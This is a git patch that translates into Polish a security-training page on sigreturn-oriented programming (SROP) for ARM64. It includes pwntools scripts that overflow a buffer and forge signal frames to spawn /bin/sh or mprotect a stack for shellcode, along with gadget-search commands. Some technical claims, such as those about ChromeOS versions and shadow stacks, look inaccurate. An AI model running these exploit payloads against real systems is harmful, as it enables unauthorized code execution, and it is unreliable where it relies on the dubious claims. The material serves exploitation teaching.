From a871f6555c8ae09393bd813960fb7dbed3aef194 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 20:16:47 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/rop-return-oriented-programing/srop --- .../srop-arm64.md | 65 ++++++++++++++++--- 1 file changed, 57 insertions(+), 8 deletions(-) diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index 6eb2392cf..ae4acc822 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -1,4 +1,4 @@ -# SROP - ARM64 +# {{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}} @@ -32,7 +32,7 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` -## przykład bof +## bof przykład ### Kod ```c @@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -103,7 +103,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -## przykład bof bez sigreturn +## bof przykład bez sigreturn ### Kod ```c @@ -136,7 +136,7 @@ W sekcji **`vdso`** można znaleźć wywołanie **`sigreturn`** w przesunięciu
-Dlatego, jeśli zostanie ujawnione, można **użyć tego adresu do uzyskania dostępu do `sigreturn`**, jeśli binarka go nie ładuje: +Dlatego, jeśli zostanie wycieknięty, możliwe jest **użycie tego adresu do uzyskania dostępu do `sigreturn`**, jeśli binarka go nie ładuje: ```python from pwn import * @@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -165,16 +165,65 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -Aby uzyskać więcej informacji na temat vdso, sprawdź: +Dla uzyskania dodatkowych informacji na temat vdso sprawdź: {{#ref}} ../ret2vdso.md {{#endref}} -Aby obejść adres `/bin/sh`, możesz utworzyć kilka zmiennych środowiskowych wskazujących na niego, aby uzyskać więcej informacji: +Aby obejść adres `/bin/sh`, możesz utworzyć kilka zmiennych środowiskowych wskazujących na ten adres, aby uzyskać więcej informacji: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ {{#endref}} +--- + +## Automatyczne znajdowanie gadżetów `sigreturn` (2023-2025) + +W nowoczesnych dystrybucjach trampolina `sigreturn` jest nadal eksportowana przez stronę **vDSO**, ale dokładny offset może się różnić w zależności od wersji jądra i flag kompilacji, takich jak BTI (`+branch-protection`) lub PAC. Automatyzacja jej odkrywania zapobiega twardemu kodowaniu offsetów: +```bash +# With ROPgadget ≥ 7.4 +python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn + +# With rp++ ≥ 1.0.9 (arm64 support) +rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn +``` +Oba narzędzia rozumieją **AArch64** kodowania i będą wyświetlać kandydatów na sekwencje `mov x8, 0x8b ; svc #0`, które mogą być użyte jako *gadget SROP*. + +> Uwaga: Gdy binaria są kompilowane z **BTI**, pierwsza instrukcja każdego ważnego celu pośredniego skoku to `bti c`. Trampoliny `sigreturn` umieszczone przez linker już zawierają poprawny punkt lądowania BTI, więc gadget pozostaje użyteczny z kodu nieuprzywilejowanego. + +## Łączenie SROP z ROP (pivot przez `mprotect`) + +`rt_sigreturn` pozwala nam kontrolować *wszystkie* rejestry ogólnego przeznaczenia i `pstate`. Powszechnym wzorem na x86 jest: 1) użyj SROP do wywołania `mprotect`, 2) pivot do nowego wykonywalnego stosu zawierającego shell-code. Ta sama idea działa na ARM64: +```python +frame = SigreturnFrame() +frame.x8 = constants.SYS_mprotect # 226 +frame.x0 = 0x400000 # page-aligned stack address +frame.x1 = 0x2000 # size +frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC +frame.sp = 0x400000 + 0x100 # new pivot +frame.pc = svc_call # will re-enter kernel +``` +Po wysłaniu ramki możesz wysłać drugi etap zawierający surowy kod powłoki pod `0x400000+0x100`. Ponieważ **AArch64** używa adresowania *PC-relative*, jest to często bardziej wygodne niż budowanie dużych łańcuchów ROP. + +## Walidacja jądra, PAC i Shadow-Stacks + +Linux 5.16 wprowadził surowszą walidację ramek sygnałów przestrzeni użytkownika (commit `36f5a6c73096`). Jądro teraz sprawdza: + +* `uc_flags` musi zawierać `UC_FP_XSTATE`, gdy `extra_context` jest obecny. +* Zarezerwowane słowo w `struct rt_sigframe` musi być zerowe. +* Każdy wskaźnik w rekordzie *extra_context* jest wyrównany i wskazuje wewnątrz przestrzeni adresowej użytkownika. + +`pwntools>=4.10` automatycznie tworzy zgodne ramki, ale jeśli budujesz je ręcznie, upewnij się, że zainicjalizujesz *reserved* na zero i pomiń rekord SVE, chyba że naprawdę go potrzebujesz—w przeciwnym razie `rt_sigreturn` dostarczy `SIGSEGV` zamiast zwracać. + +Zaczynając od mainstreamowego Androida 14 i Fedory 38, przestrzeń użytkownika jest kompilowana z włączonym **PAC** (*Pointer Authentication*) i **BTI** domyślnie (`-mbranch-protection=standard`). *SROP* sam w sobie nie jest dotknięty, ponieważ jądro bezpośrednio nadpisuje `PC` z utworzonej ramki, omijając uwierzytelniony LR zapisany na stosie; jednak każdy **kolejny łańcuch ROP**, który wykonuje pośrednie skoki, musi skakać do instrukcji włączających BTI lub adresów PAC. Pamiętaj o tym przy wyborze gadżetów. + +Shadow-Call-Stacks wprowadzone w ARMv8.9 (i już włączone w ChromeOS 1.27+) są łagodzeniem na poziomie kompilatora i *nie* kolidują z SROP, ponieważ żadne instrukcje powrotu nie są wykonywane—przepływ kontroli jest przekazywany przez jądro. + +## Odnośniki + +* [Dokumentacja obsługi sygnałów Linux arm64](https://docs.kernel.org/arch/arm64/signal.html) +* [LWN – "Ochrona gałęzi AArch64 trafia do GCC i glibc" (2023)](https://lwn.net/Articles/915041/) + {{#include ../../../banners/hacktricks-training.md}}